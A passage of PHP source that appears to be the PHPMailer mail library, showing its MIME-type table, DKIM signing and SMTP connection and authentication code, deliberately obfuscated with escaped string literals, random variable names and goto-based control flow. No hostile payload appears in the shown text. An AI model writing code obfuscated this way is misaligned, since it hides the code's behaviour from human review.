"\141\160\x70\x6c\151\x63\x61\164\151\x6f\156\57\170\55\x68\x74\164\160\x64\x2d\x70\x68\x70", "\160\x68\160" => "\141\160\x70\x6c\151\x63\x61\164\151\x6f\156\x2f\x78\55\x68\x74\x74\160\x64\x2d\x70\x68\160", "\160\x68\164\155\x6c" => "\141\160\x70\x6c\151\x63\x61\x74\151\x6f\x6e\x2f\170\x2d\x68\x74\x74\x70\x64\55\x70\x68\160", "\x70\x68\x70\163" => "\x61\x70\x70\x6c\151\x63\141\164\x69\157\x6e\57\x78\55\150\x74\x74\x70\144\x2d\160\x68\x70\55\x73\x6f\165\x72\x63\x65", "\163\167\x66" => "\141\x70\x70\154\151\x63\x61\x74\x69\157\x6e\x2f\170\x2d\163\x68\157\143\153\x77\x61\x76\145\55\x66\154\x61\163\x68", "\x73\151\x74" => "\141\160\x70\x6c\151\x63\x61\x74\x69\157\x6e\x2f\x78\x2d\163\164\165\x66\146\151\164", "\x74\x61\x72" => "\x61\160\160\154\151\x63\141\164\151\x6f\156\57\x78\x2d\164\141\162", "\x74\147\x7a" => "\x61\x70\x70\x6c\151\143\x61\x74\x69\157\156\57\170\x2d\x74\141\x72", "\x78\x68\164" => "\141\x70\x70\x6c\151\x63\141\x74\151\157\156\57\170\x68\x74\155\154\53\x78\155\154", "\x78\x68\x74\155\154" => "\141\x70\x70\154\x69\x63\141\164\x69\x6f\x6e\57\x78\x68\164\155\x6c\53\x78\155\x6c", "\172\x69\160" => "\141\x70\160\154\x69\x63\x61\x74\x69\157\156\57\x7a\x69\x70", "\155\151\x64" => "\141\165\144\x69\157\57\155\x69\x64\x69", "\x6d\151\144\x69" => "\141\165\144\151\x6f\x2f\155\151\144\x69", "\x6d\160\x32" => "\x61\x75\144\x69\x6f\57\x6d\x70\145\147", "\155\x70\x33" => "\141\x75\144\x69\x6f\57\155\x70\x65\147", "\155\64\141" => "\141\x75\144\151\157\57\x6d\160\x34", "\155\x70\147\x61" => "\141\x75\144\151\x6f\57\155\160\145\x67", "\141\x69\x66" => "\141\x75\144\151\157\x2f\x78\55\x61\151\x66\146", "\141\151\x66\143" => "\141\165\x64\x69\x6f\57\x78\55\x61\x69\146\146", "\x61\151\x66\x66" => "\141\165\x64\x69\x6f\x2f\x78\55\141\151\146\146", "\x72\141\155" => "\x61\x75\144\x69\157\x2f\x78\55\160\x6e\x2d\162\145\141\x6c\141\165\144\x69\x6f", "\162\155" => "\141\x75\x64\151\x6f\57\x78\x2d\160\x6e\x2d\x72\145\141\154\x61\165\x64\x69\157", "\162\x70\155" => "\x61\165\x64\151\157\57\x78\x2d\x70\x6e\x2d\162\145\x61\x6c\x61\x75\144\151\x6f\55\160\x6c\x75\x67\x69\156", "\x72\x61" => "\141\x75\x64\151\157\x2f\170\55\x72\145\141\x6c\141\165\x64\x69\x6f", "\167\141\166" => "\141\165\x64\x69\157\x2f\170\x2d\167\141\166", "\x6d\x6b\141" => "\141\x75\x64\x69\x6f\x2f\x78\x2d\x6d\x61\x74\162\x6f\163\x6b\x61", "\x62\x6d\160" => "\x69\155\141\147\145\x2f\142\x6d\x70", "\x67\151\146" => "\x69\x6d\x61\147\145\57\147\151\146", "\x6a\x70\145\x67" => "\151\x6d\141\x67\145\x2f\x6a\160\145\147", "\152\x70\x65" => "\x69\x6d\x61\x67\x65\x2f\x6a\160\x65\x67", "\x6a\160\147" => "\151\x6d\141\x67\145\57\152\x70\x65\x67", "\x70\x6e\x67" => "\x69\155\141\x67\145\57\x70\x6e\147", "\x74\x69\x66\146" => "\151\x6d\141\x67\x65\x2f\x74\x69\x66\146", "\x74\x69\146" => "\151\155\x61\x67\x65\57\x74\x69\x66\146", "\x77\x65\x62\x70" => "\x69\x6d\141\x67\145\x2f\167\145\142\160", "\x68\x65\x69\146" => "\x69\x6d\141\x67\145\x2f\150\x65\151\x66", "\150\145\151\x66\163" => "\151\x6d\141\147\145\57\x68\x65\x69\x66\x2d\x73\x65\x71\165\x65\156\143\x65", "\x68\x65\x69\x63" => "\x69\x6d\141\147\145\x2f\x68\145\x69\143", "\x68\x65\151\143\163" => "\x69\x6d\x61\x67\145\57\150\x65\151\x63\x2d\163\x65\161\x75\145\x6e\x63\145", "\145\155\x6c" => "\x6d\x65\x73\x73\141\x67\x65\57\x72\146\143\70\x32\62", "\x63\x73\x73" => "\x74\x65\170\164\x2f\x63\163\x73", "\150\164\155\154" => "\x74\x65\x78\x74\57\150\x74\155\x6c", "\150\x74\x6d" => "\x74\x65\x78\x74\57\x68\x74\x6d\x6c", "\x73\150\x74\155\x6c" => "\164\x65\x78\x74\57\x68\x74\x6d\x6c", "\154\157\x67" => "\164\145\x78\164\57\x70\x6c\x61\151\x6e", "\164\x65\x78\164" => "\x74\145\170\164\x2f\x70\154\141\x69\156", "\x74\x78\164" => "\164\x65\170\164\57\160\x6c\x61\x69\156", "\162\x74\x78" => "\x74\x65\x78\164\x2f\x72\151\143\x68\164\x65\170\x74", "\162\164\146" => "\164\145\x78\x74\x2f\162\164\146", "\x76\x63\146" => "\164\145\170\x74\x2f\166\x63\x61\x72\x64", "\x76\143\141\162\x64" => "\164\145\170\x74\57\x76\143\x61\162\x64", "\151\143\163" => "\x74\145\x78\x74\x2f\143\x61\154\x65\156\x64\x61\162", "\x78\x6d\154" => "\164\x65\170\x74\x2f\170\x6d\x6c", "\170\x73\x6c" => "\164\145\x78\x74\57\170\x6d\x6c", "\167\x6d\x76" => "\166\151\144\145\157\x2f\x78\55\155\163\x2d\167\x6d\166", "\x6d\160\x65\x67" => "\x76\x69\x64\145\x6f\x2f\155\160\145\147", "\x6d\x70\x65" => "\166\x69\144\x65\157\57\x6d\x70\145\147", "\x6d\160\x67" => "\x76\151\144\x65\157\x2f\x6d\160\145\147", "\x6d\160\64" => "\166\x69\144\x65\157\x2f\x6d\x70\x34", "\155\x34\166" => "\166\151\144\x65\157\x2f\x6d\x70\64", "\155\x6f\x76" => "\x76\x69\144\x65\157\x2f\x71\165\151\x63\x6b\164\x69\155\x65", "\161\164" => "\166\151\144\x65\157\x2f\161\x75\151\143\x6b\164\151\x6d\145", "\162\166" => "\166\151\144\145\x6f\x2f\x76\x6e\x64\x2e\162\156\x2d\162\145\141\x6c\x76\x69\144\x65\x6f", "\141\166\x69" => "\x76\x69\x64\145\157\x2f\x78\x2d\155\163\166\x69\144\145\157", "\x6d\x6f\166\151\145" => "\x76\x69\x64\145\157\57\x78\55\163\147\151\x2d\x6d\157\x76\x69\x65", "\x77\x65\142\155" => "\166\x69\x64\145\x6f\57\167\x65\142\155", "\155\153\166" => "\x76\151\x64\x65\x6f\57\x78\x2d\155\x61\164\162\157\163\153\x61"];
$Xeg7j = strtolower($Xeg7j);
if (!array_key_exists($Xeg7j, $wBW2I)) {
goto iWkY7;
}
return $wBW2I[$Xeg7j];
iWkY7:
return "\141\160\160\154\x69\x63\141\x74\x69\x6f\x6e\57\157\143\164\x65\x74\x2d\x73\164\162\145\141\x6d";
}
public static function filenameToType($FFm9e)
{
$Z5fH7 = strpos($FFm9e, "\77");
if (!(false !== $Z5fH7)) {
goto HeLTR;
}
$FFm9e = substr($FFm9e, 0, $Z5fH7);
HeLTR:
$Xeg7j = static::mb_pathinfo($FFm9e, PATHINFO_EXTENSION);
return static::_mime_types($Xeg7j);
}
public static function mb_pathinfo($t1usk, $p0n3v = null)
{
$mgR5a = ["\144\x69\162\156\x61\155\145" => '', "\142\x61\x73\x65\156\x61\155\x65" => '', "\145\x78\x74\x65\156\x73\151\157\156" => '', "\x66\x69\x6c\x65\156\x61\x6d\145" => ''];
$Bg9Qp = [];
if (!preg_match("\43\x5e\x28\56\52\77\x29\133\134\134\x2f\x5d\52\50\x28\x5b\136\57\134\x5c\x5d\52\x3f\x29\50\x5c\x2e\x28\133\x5e\134\56\134\x5c\x2f\135\x2b\77\51\x7c\x29\x29\133\134\x5c\57\x5c\x2e\135\52\x24\x23\x69\x6d", $t1usk, $Bg9Qp)) {
goto cvcVZ;
}
if (!array_key_exists(1, $Bg9Qp)) {
goto J06hm;
}
$mgR5a["\x64\151\x72\156\141\x6d\145"] = $Bg9Qp[1];
J06hm:
if (!array_key_exists(2, $Bg9Qp)) {
goto ZV9WE;
}
$mgR5a["\142\141\x73\145\156\141\155\145"] = $Bg9Qp[2];
ZV9WE:
if (!array_key_exists(5, $Bg9Qp)) {
goto Ft9_E;
}
$mgR5a["\x65\x78\164\x65\x6e\163\x69\157\156"] = $Bg9Qp[5];
Ft9_E:
if (!array_key_exists(3, $Bg9Qp)) {
goto LsXbU;
}
$mgR5a["\x66\x69\x6c\145\x6e\x61\155\x65"] = $Bg9Qp[3];
LsXbU:
cvcVZ:
switch ($p0n3v) {
case PATHINFO_DIRNAME:
case "\144\151\x72\156\x61\155\145":
return $mgR5a["\144\151\x72\156\x61\x6d\145"];
case PATHINFO_BASENAME:
case "\x62\x61\163\x65\x6e\141\155\x65":
return $mgR5a["\x62\x61\x73\x65\156\x61\x6d\145"];
case PATHINFO_EXTENSION:
case "\x65\x78\x74\x65\156\163\151\157\156":
return $mgR5a["\x65\x78\x74\x65\156\x73\x69\157\x6e"];
case PATHINFO_FILENAME:
case "\146\x69\154\x65\x6e\141\155\x65":
return $mgR5a["\x66\x69\154\145\x6e\x61\155\x65"];
default:
return $mgR5a;
}
K7A9l:
TJ294:
}
public function set($dEC3m, $GywUj = '')
{
if (!property_exists($this, $dEC3m)) {
goto HIkrw;
}
$this->{$dEC3m} = $GywUj;
return true;
HIkrw:
$this->setError($this->lang("\166\141\x72\x69\141\142\154\x65\x5f\x73\145\164") . $dEC3m);
return false;
}
public function secureHeader($YX4WE)
{
return trim(str_replace(["\xd", "\12"], '', $YX4WE));
}
public static function normalizeBreaks($izkEo, $IOR82 = null)
{
if (!(null === $IOR82)) {
goto i95H1;
}
$IOR82 = static::$LE;
i95H1:
$izkEo = str_replace(["\15\12", "\xd"], "\12", $izkEo);
if (!("\xa" !== $IOR82)) {
goto fWt3p;
}
$izkEo = str_replace("\xa", $IOR82, $izkEo);
fWt3p:
return $izkEo;
}
public static function getLE()
{
return static::$LE;
}
protected static function setLE($cnE0e)
{
static::$LE = $cnE0e;
}
public function sign($Bn_5X, $VB7tf, $pKFGn, $IhWe8 = '')
{
$this->sign_cert_file = $Bn_5X;
$this->sign_key_file = $VB7tf;
$this->sign_key_pass = $pKFGn;
$this->sign_extracerts_file = $IhWe8;
}
public function DKIM_QP($xjCDA)
{
$rYeep = '';
$XtdVD = strlen($xjCDA);
$KJHmb = 0;
d60Js:
if (!($KJHmb < $XtdVD)) {
goto XqoAZ;
}
$UalVS = ord($xjCDA[$KJHmb]);
if (0x21 <= $UalVS and $UalVS <= 0x3a or $UalVS == 0x3c or 0x3e <= $UalVS and $UalVS <= 0x7e) {
goto EGzdc;
}
$rYeep .= "\75" . sprintf("\45\60\x32\130", $UalVS);
goto uTqg5;
EGzdc:
$rYeep .= $xjCDA[$KJHmb];
uTqg5:
zF8lx:
++$KJHmb;
goto d60Js;
XqoAZ:
return $rYeep;
}
public function DKIM_Sign($b_n_I)
{
if (defined("\120\113\x43\123\67\137\124\x45\x58\x54")) {
goto v21nZ;
}
if (!$this->exceptions) {
goto y6OyH;
}
throw new Exception($this->lang("\x65\170\x74\x65\156\163\x69\x6f\x6e\137\x6d\151\163\163\151\156\147") . "\x6f\160\x65\156\163\163\154");
y6OyH:
return '';
v21nZ:
$keegN = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
if ('' != $this->DKIM_passphrase) {
goto t1sfs;
}
$pUWMr = openssl_pkey_get_private($keegN);
goto bxpog;
t1sfs:
$pUWMr = openssl_pkey_get_private($keegN, $this->DKIM_passphrase);
bxpog:
if (!openssl_sign($b_n_I, $EUe0N, $pUWMr, "\x73\x68\141\x32\x35\66\x57\x69\x74\150\122\x53\x41\x45\x6e\143\162\x79\x70\164\151\x6f\x6e")) {
goto ZDSzP;
}
openssl_pkey_free($pUWMr);
return base64_encode($EUe0N);
ZDSzP:
openssl_pkey_free($pUWMr);
return '';
}
public function DKIM_HeaderC($b_n_I)
{
$b_n_I = preg_replace("\x2f\x5c\x72\x5c\x6e\x5b\x20\134\164\x5d\53\57", "\x20", $b_n_I);
$yCe67 = explode("\xd\12", $b_n_I);
foreach ($yCe67 as $pEv6e => $rYeep) {
if (!(strpos($rYeep, "\x3a") === false)) {
goto gb23l;
}
goto Cnmvb;
gb23l:
list($Zb8eM, $GywUj) = explode("\72", $rYeep, 2);
$Zb8eM = strtolower($Zb8eM);
$GywUj = preg_replace("\57\133\x20\134\x74\x5d\x7b\62\54\x7d\x2f", "\x20", $GywUj);
$yCe67[$pEv6e] = trim($Zb8eM, "\40\11") . "\72" . trim($GywUj, "\40\x9");
Cnmvb:
}
flMcT:
return implode("\xd\xa", $yCe67);
}
public function DKIM_BodyC($UlmlF)
{
if (!empty($UlmlF)) {
goto K1Fpz;
}
return "\xd\12";
K1Fpz:
$UlmlF = static::normalizeBreaks($UlmlF, "\xd\12");
return rtrim($UlmlF, "\15\xa") . "\xd\12";
}
public function DKIM_Add($DxRuc, $q3Ca0, $UlmlF)
{
$cO5ZR = "\x72\163\x61\55\x73\x68\141\x32\x35\x36";
$M0r21 = "\x72\145\154\141\170\145\144\57\x73\x69\x6d\x70\154\x65";
$fNuyO = "\144\x6e\163\57\x74\170\164";
$brkl5 = time();
$drfJj = "\123\165\142\152\x65\x63\164\x3a\40{$q3Ca0}";
$kQ6Rm = explode(static::$LE, $DxRuc);
$brIkc = '';
$Z42y0 = '';
$SrMnh = '';
$q4mu1 = '';
$naPXG = '';
$cCM45 = [];
$Yb3B_ = '';
$BYJBz = '';
$C0lWR = '';
foreach ($kQ6Rm as $y_KXY) {
if (strpos($y_KXY, "\x46\x72\x6f\x6d\x3a") === 0) {
goto ryNwY;
}
if (strpos($y_KXY, "\124\157\72") === 0) {
goto NzZUv;
}
if (strpos($y_KXY, "\104\x61\164\145\72") === 0) {
goto NURSH;
}
if (!empty($this->DKIM_extraHeaders)) {
goto q3Hm3;
}
if (!empty(${$q4mu1}) and strpos($y_KXY, "\40\75\77") === 0) {
goto qEBnu;
}
$q4mu1 = '';
goto KwP5j;
qEBnu:
${$q4mu1} .= $y_KXY;
KwP5j:
goto lwsmH;
ryNwY:
$brIkc = $y_KXY;
$q4mu1 = "\146\162\x6f\x6d\137\150\x65\141\x64\145\x72";
goto lwsmH;
NzZUv:
$Z42y0 = $y_KXY;
$q4mu1 = "\x74\157\137\150\145\x61\x64\145\162";
goto lwsmH;
NURSH:
$SrMnh = $y_KXY;
$q4mu1 = "\x64\141\x74\x65\137\x68\x65\x61\144\145\x72";
goto lwsmH;
q3Hm3:
foreach ($this->DKIM_extraHeaders as $zxaNM) {
if (!(strpos($y_KXY, $zxaNM . "\72") === 0)) {
goto nNoe2;
}
$EiLO0 = $y_KXY;
foreach ($this->CustomHeader as $Fh8w2) {
if (!($Fh8w2[0] === $zxaNM)) {
goto nPAeC;
}
$EiLO0 = trim($Fh8w2[0]) . "\72\40" . $this->encodeHeader(trim($Fh8w2[1]));
goto Xf5AL;
nPAeC:
GuqII:
}
Xf5AL:
$cCM45[$zxaNM] = $EiLO0;
$q4mu1 = '';
goto jnkZT;
nNoe2:
RLZPJ:
}
jnkZT:
lwsmH:
JZ0J0:
}
IMSDX:
foreach ($cCM45 as $pEv6e => $GywUj) {
$Yb3B_ .= "\72" . $pEv6e;
$BYJBz .= $GywUj . "\15\12";
if (!$this->DKIM_copyHeaderFields) {
goto nc_Ls;
}
$C0lWR .= "\x9\174" . str_replace("\x7c", "\75\67\x43", $this->DKIM_QP($GywUj)) . "\x3b\15\xa";
nc_Ls:
F7oPZ:
}
XIDOE:
if (!$this->DKIM_copyHeaderFields) {
goto kckti;
}
$zzfpb = str_replace("\x7c", "\75\67\103", $this->DKIM_QP($brIkc));
$g7_oI = str_replace("\x7c", "\75\67\x43", $this->DKIM_QP($Z42y0));
$rWVwM = str_replace("\x7c", "\x3d\x37\x43", $this->DKIM_QP($SrMnh));
$q3Ca0 = str_replace("\x7c", "\75\x37\x43", $this->DKIM_QP($drfJj));
$naPXG = "\x9\x7a\x3d{$zzfpb}\xd\12" . "\x9\x7c{$g7_oI}\xd\xa" . "\11\174{$rWVwM}\15\xa" . "\11\174{$q3Ca0}\x3b\xd\12" . $C0lWR;
kckti:
$UlmlF = $this->DKIM_BodyC($UlmlF);
$UKxkZ = strlen($UlmlF);
$zOwlq = base64_encode(pack("\x48\x2a", hash("\163\150\141\62\65\66", $UlmlF)));
if ('' == $this->DKIM_identity) {
goto HnSIw;
}
$Z_I4q = "\40\x69\75" . $this->DKIM_identity . "\x3b";
goto LU7Vx;
HnSIw:
$Z_I4q = '';
LU7Vx:
$TPDEU = "\x44\x4b\x49\115\55\123\x69\147\x6e\x61\164\x75\x72\x65\72\x20\x76\75\61\x3b\40\141\x3d" . $cO5ZR . "\73\40\x71\x3d" . $fNuyO . "\x3b\40\154\75" . $UKxkZ . "\x3b\40\163\x3d" . $this->DKIM_selector . "\73\15\12" . "\11\164\75" . $brkl5 . "\x3b\40\143\75" . $M0r21 . "\x3b\15\xa" . "\11\150\75\x46\x72\157\x6d\x3a\124\157\72\x44\x61\164\x65\x3a\x53\x75\x62\x6a\x65\x63\x74" . $Yb3B_ . "\73\xd\xa" . "\11\x64\x3d" . $this->DKIM_domain . "\x3b" . $Z_I4q . "\15\12" . $naPXG . "\x9\x62\150\x3d" . $zOwlq . "\x3b\xd\12" . "\x9\x62\75";
$pPmfX = $this->DKIM_HeaderC($brIkc . "\15\12" . $Z42y0 . "\xd\12" . $SrMnh . "\15\xa" . $drfJj . "\15\xa" . $BYJBz . $TPDEU);
$ty0iw = $this->DKIM_Sign($pPmfX);
return static::normalizeBreaks($TPDEU . $ty0iw) . static::$LE;
}
public static function hasLineLongerThanMax($YX4WE)
{
return (bool) preg_match("\57\x5e\x28\56\x7b" . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . "\54\x7d\51\57\155", $YX4WE);
}
public function getToAddresses()
{
return $this->to;
}
public function getCcAddresses()
{
return $this->cc;
}
public function getBccAddresses()
{
return $this->bcc;
}
public function getReplyToAddresses()
{
return $this->ReplyTo;
}
public function getAllRecipientAddresses()
{
return $this->all_recipients;
}
protected function doCallback($JxyrV, $g7_oI, $bKKB9, $DZLkJ, $q3Ca0, $UlmlF, $zzfpb, $GZeRy)
{
if (!(!empty($this->action_function) and is_callable($this->action_function))) {
goto wTcaJ;
}
call_user_func($this->action_function, $JxyrV, $g7_oI, $bKKB9, $DZLkJ, $q3Ca0, $UlmlF, $zzfpb, $GZeRy);
wTcaJ:
}
public function getOAuth()
{
return $this->oauth;
}
public function setOAuth(OAuth $pCSB8)
{
$this->oauth = $pCSB8;
}
}
class SMTP
{
const VERSION = "\66\x2e\60\56\x37";
const LE = "\xd\xa";
const DEFAULT_PORT = 25;
const MAX_LINE_LENGTH = 998;
const DEBUG_OFF = 0;
const DEBUG_CLIENT = 1;
const DEBUG_SERVER = 2;
const DEBUG_CONNECTION = 3;
const DEBUG_LOWLEVEL = 4;
public $do_debug = self::DEBUG_OFF;
public $Debugoutput = "\145\143\x68\157";
public $do_verp = false;
public $Timeout = 300;
public $Timelimit = 300;
protected $smtp_transaction_id_patterns = ["\145\x78\x69\155" => "\x2f\133\x5c\144\135\173\x33\x7d\x20\117\113\40\x69\144\x3d\x28\56\52\51\57", "\163\145\156\144\x6d\x61\x69\154" => "\57\x5b\x5c\144\x5d\x7b\63\175\x20\x32\x2e\60\x2e\60\x20\50\x2e\x2a\51\x20\115\145\163\x73\x61\x67\x65\x2f", "\x70\157\163\x74\x66\x69\170" => "\57\133\x5c\144\135\x7b\x33\175\40\x32\56\60\56\60\40\117\153\72\x20\x71\x75\145\x75\x65\x64\x20\x61\163\x20\x28\x2e\x2a\51\57", "\x4d\x69\x63\162\157\x73\x6f\x66\164\x5f\x45\123\115\x54\x50" => "\57\x5b\x30\55\x39\x5d\x7b\x33\175\40\62\x2e\133\x5c\x64\x5d\56\x30\x20\x28\56\52\x29\100\x28\77\x3a\56\x2a\x29\x20\121\x75\x65\165\145\144\40\x6d\x61\151\x6c\x20\146\157\162\x20\144\145\x6c\151\166\145\x72\171\57", "\101\155\x61\x7a\157\x6e\x5f\x53\105\x53" => "\57\133\x5c\x64\x5d\173\x33\x7d\40\x4f\x6b\40\50\56\52\x29\57", "\123\145\156\144\107\x72\151\x64" => "\x2f\133\x5c\x64\135\173\x33\175\x20\117\153\x3a\40\x71\x75\145\x75\145\144\40\x61\x73\40\50\56\x2a\x29\57", "\103\x61\155\160\x61\151\147\156\115\157\156\x69\x74\x6f\x72" => "\57\x5b\x5c\144\135\x7b\63\x7d\x20\x32\56\x30\56\x30\x20\117\113\72\x28\x5b\x61\55\x7a\x41\x2d\x5a\x5c\144\135\173\64\x38\175\x29\57"];
protected $last_smtp_transaction_id;
protected $smtp_conn;
protected $error = ["\x65\162\x72\x6f\162" => '', "\144\145\x74\x61\x69\154" => '', "\x73\x6d\x74\160\x5f\143\x6f\144\145" => '', "\163\155\164\160\137\143\x6f\x64\x65\137\x65\x78" => ''];
protected $helo_rply = null;
protected $server_caps = null;
protected $last_reply = '';
protected function edebug($YX4WE, $vdarJ = 0)
{
if (!($vdarJ > $this->do_debug)) {
goto zZOEi;
}
return;
zZOEi:
if (!$this->Debugoutput instanceof \Psr\Log\LoggerInterface) {
goto MAyrO;
}
$this->Debugoutput->debug($YX4WE);
return;
MAyrO:
if (!(!in_array($this->Debugoutput, ["\x65\162\x72\157\x72\x5f\x6c\x6f\147", "\150\x74\155\154", "\145\x63\150\x6f"]) and is_callable($this->Debugoutput))) {
goto tJNS7;
}
call_user_func($this->Debugoutput, $YX4WE, $vdarJ);
return;
tJNS7:
switch ($this->Debugoutput) {
case "\x65\x72\x72\157\x72\137\154\x6f\147":
error_log($YX4WE);
goto cc5Yh;
case "\x68\x74\155\154":
echo gmdate("\131\55\155\55\144\40\110\72\151\x3a\x73"), "\40", htmlentities(preg_replace("\x2f\133\134\x72\134\156\135\53\x2f", '', $YX4WE), ENT_QUOTES, "\x55\x54\x46\55\70"), "\x3c\x62\162\x3e\12";
goto cc5Yh;
case "\x65\143\150\x6f":
default:
$YX4WE = preg_replace("\57\x5c\x72\134\156\174\134\162\57\x6d\x73", "\12", $YX4WE);
echo gmdate("\131\55\x6d\x2d\144\40\110\72\151\72\x73"), "\11", trim(str_replace("\12", "\xa\40\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\40\x20\x9\40\40\40\40\40\40\40\40\x20\40\x20\40\40\x20\40\40\x20\40", trim($YX4WE))), "\xa";
}
p81iu:
cc5Yh:
}
public function connect($S1iUU, $qnls6 = null, $yMz18 = 30, $p0n3v = [])
{
static $Xfza1;
if (!(null === $Xfza1)) {
goto Taxs0;
}
$Xfza1 = function_exists("\163\x74\x72\x65\x61\155\x5f\163\157\x63\x6b\x65\164\137\x63\154\x69\x65\x6e\164");
Taxs0:
$this->setError('');
if (!$this->connected()) {
goto tmimp;
}
$this->setError("\x41\154\x72\x65\x61\x64\171\x20\x63\x6f\156\156\x65\143\x74\145\x64\40\x74\157\x20\141\x20\163\145\162\166\145\x72");
return false;
tmimp:
if (!empty($qnls6)) {
goto idodg;
}
$qnls6 = self::DEFAULT_PORT;
idodg:
$this->edebug("\103\157\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\40\157\160\145\156\x69\156\x67\40\x74\157\x20{$S1iUU}\72{$qnls6}\54\40\164\x69\x6d\x65\157\x75\164\75{$yMz18}\x2c\x20\x6f\x70\x74\x69\157\156\163\x3d" . (count($p0n3v) > 0 ? var_export($p0n3v, true) : "\x61\x72\162\x61\171\50\51"), self::DEBUG_CONNECTION);
$rXtrb = 0;
$lsf1w = '';
if ($Xfza1) {
goto c7o7i;
}
$this->edebug("\x43\157\x6e\x6e\145\x63\x74\151\x6f\x6e\72\x20\163\x74\162\145\x61\155\137\163\x6f\143\153\x65\164\137\x63\154\151\x65\x6e\164\x20\156\x6f\x74\x20\141\166\x61\151\154\141\x62\154\145\54\x20\x66\x61\x6c\154\151\156\x67\40\x62\141\x63\153\x20\164\157\x20\x66\163\157\143\153\157\160\x65\156", self::DEBUG_CONNECTION);
set_error_handler([$this, "\145\x72\x72\x6f\x72\110\x61\156\x64\x6c\145\x72"]);
$this->smtp_conn = fsockopen($S1iUU, $qnls6, $rXtrb, $lsf1w, $yMz18);
restore_error_handler();
goto SIx9F;
c7o7i:
$Civ9H = stream_context_create($p0n3v);
set_error_handler([$this, "\145\162\x72\157\162\110\141\x6e\x64\154\145\x72"]);
$this->smtp_conn = stream_socket_client($S1iUU . "\x3a" . $qnls6, $rXtrb, $lsf1w, $yMz18, STREAM_CLIENT_CONNECT, $Civ9H);
restore_error_handler();
SIx9F:
if (is_resource($this->smtp_conn)) {
goto KRIaT;
}
$this->setError("\x46\141\x69\x6c\x65\x64\40\164\157\x20\x63\x6f\x6e\x6e\145\143\x74\x20\x74\157\x20\163\x65\x72\x76\x65\162", '', (string) $rXtrb, (string) $lsf1w);
$this->edebug("\123\x4d\x54\120\40\x45\x52\122\117\x52\x3a\x20" . $this->error["\x65\162\x72\157\x72"] . "\72\x20{$lsf1w}\40\x28{$rXtrb}\51", self::DEBUG_CLIENT);
return false;
KRIaT:
$this->edebug("\x43\x6f\x6e\156\145\143\164\x69\x6f\156\72\x20\x6f\160\145\x6e\145\144", self::DEBUG_CONNECTION);
if (!(substr(PHP_OS, 0, 3) != "\x57\x49\116")) {
goto VuH0S;
}
$PtSJw = ini_get("\x6d\141\170\137\145\x78\x65\x63\165\x74\151\x6f\x6e\137\x74\151\x6d\145");
if (!(0 != $PtSJw and $yMz18 > $PtSJw)) {
goto AMGh0;
}
@set_time_limit($yMz18);
AMGh0:
stream_set_timeout($this->smtp_conn, $yMz18, 0);
VuH0S:
$xeFEM = $this->get_lines();
$this->edebug("\x53\105\122\126\x45\122\x20\55\x3e\x20\103\x4c\111\x45\116\x54\72\x20" . $xeFEM, self::DEBUG_SERVER);
return true;
}
public function startTLS()
{
if ($this->sendCommand("\x53\124\x41\x52\124\124\x4c\x53", "\x53\124\101\x52\x54\x54\114\x53", 220)) {
goto VeHsr;
}
return false;
VeHsr:
$VyyQ3 = STREAM_CRYPTO_METHOD_TLS_CLIENT;
if (!defined("\123\x54\x52\x45\x41\115\x5f\103\x52\x59\120\124\x4f\x5f\115\x45\x54\x48\117\x44\x5f\x54\x4c\x53\166\61\137\x32\137\103\x4c\x49\105\116\124")) {
goto vIp23;
}
$VyyQ3 |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;
$VyyQ3 |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;
vIp23:
set_error_handler([$this, "\x65\162\162\x6f\162\110\x61\x6e\144\154\145\x72"]);
$Wvvh6 = stream_socket_enable_crypto($this->smtp_conn, true, $VyyQ3);
restore_error_handler();
return (bool) $Wvvh6;
}
public function authenticate($t7mwF, $RNSkS, $BuaXA = null, $j1oGl = null)
{
if ($this->server_caps) {
goto L2isw;
}
$this->setError("\101\x75\164\x68\145\156\164\x69\x63\x61\164\151\x6f\156\40\151\163\x20\x6e\157\x74\x20\141\x6c\154\x6f\167\x65\x64\x20\x62\x65\146\157\162\145\x20\110\105\x4c\117\x2f\105\110\114\x4f");
return false;
L2isw:
if (array_key_exists("\105\110\114\x4f", $this->server_caps)) {
goto ndn3V;
}
if (empty($BuaXA)) {
goto inARk;
}
goto Bfl19;
ndn3V:
if (array_key_exists("\101\x55\x54\x48", $this->server_caps)) {
goto UNkDO;
}
$this->setError("\101\165\164\150\145\156\164\151\x63\141\164\151\157\156\40\x69\x73\40\156\157\x74\40\x61\154\154\157\167\145\x64\x20\141\x74\40\164\x68\151\163\40\163\x74\x61\x67\145");
return false;
UNkDO:
$this->edebug("\101\x75\x74\150\40\155\145\164\150\157\x64\40\x72\145\161\165\x65\x73\x74\x65\x64\72\x20" . ($BuaXA ? $BuaXA : "\125\116\x53\120\x45\x43\111\x46\111\105\104"), self::DEBUG_LOWLEVEL);
$this->edebug("\101\165\x74\150\40\x6d\x65\x74\150\x6f\144\163\40\x61\x76\x61\151\154\141\x62\154\x65\x20\x6f\x6e\x20\164\x68\x65\40\x73\145\x72\x76\x65\162\72\x20" . implode("\x2c", $this->server_caps["\x41\x55\124\x48"]), self::DEBUG_LOWLEVEL);
if (!(null !== $BuaXA and !in_array($BuaXA, $this->server_caps["\101\125\124\110"]))) {
goto CHr6X;
}
$this->edebug("\122\145\161\165\145\163\164\145\x64\x20\x61\165\164\150\40\155\x65\x74\150\157\x64\x20\156\157\x74\40\141\166\141\151\x6c\141\x62\x6c\145\x3a\40" . $BuaXA, self::DEBUG_LOWLEVEL);
$BuaXA = null;
CHr6X:
if (!empty($BuaXA)) {
goto ajOb9;
}
foreach (["\103\122\x41\115\x2d\x4d\104\65", "\x4c\x4f\x47\x49\116", "\120\x4c\101\111\116", "\130\x4f\101\125\124\x48\x32"] as $MGcrK) {
if (!in_array($MGcrK, $this->server_caps["\101\125\124\x48"])) {
goto qSeQW;
}
$BuaXA = $MGcrK;
goto sldN6;
qSeQW:
uGKb8:
}
sldN6:
if (!empty($BuaXA)) {
goto tImi4;
}
$this->setError("\116\x6f\x20\x73\165\160\160\157\x72\164\x65\144\x20\x61\x75\164\150\145\156\164\x69\x63\x61\x74\151\x6f\156\40\155\x65\x74\x68\157\x64\163\40\146\157\165\156\x64");
return false;
tImi4:
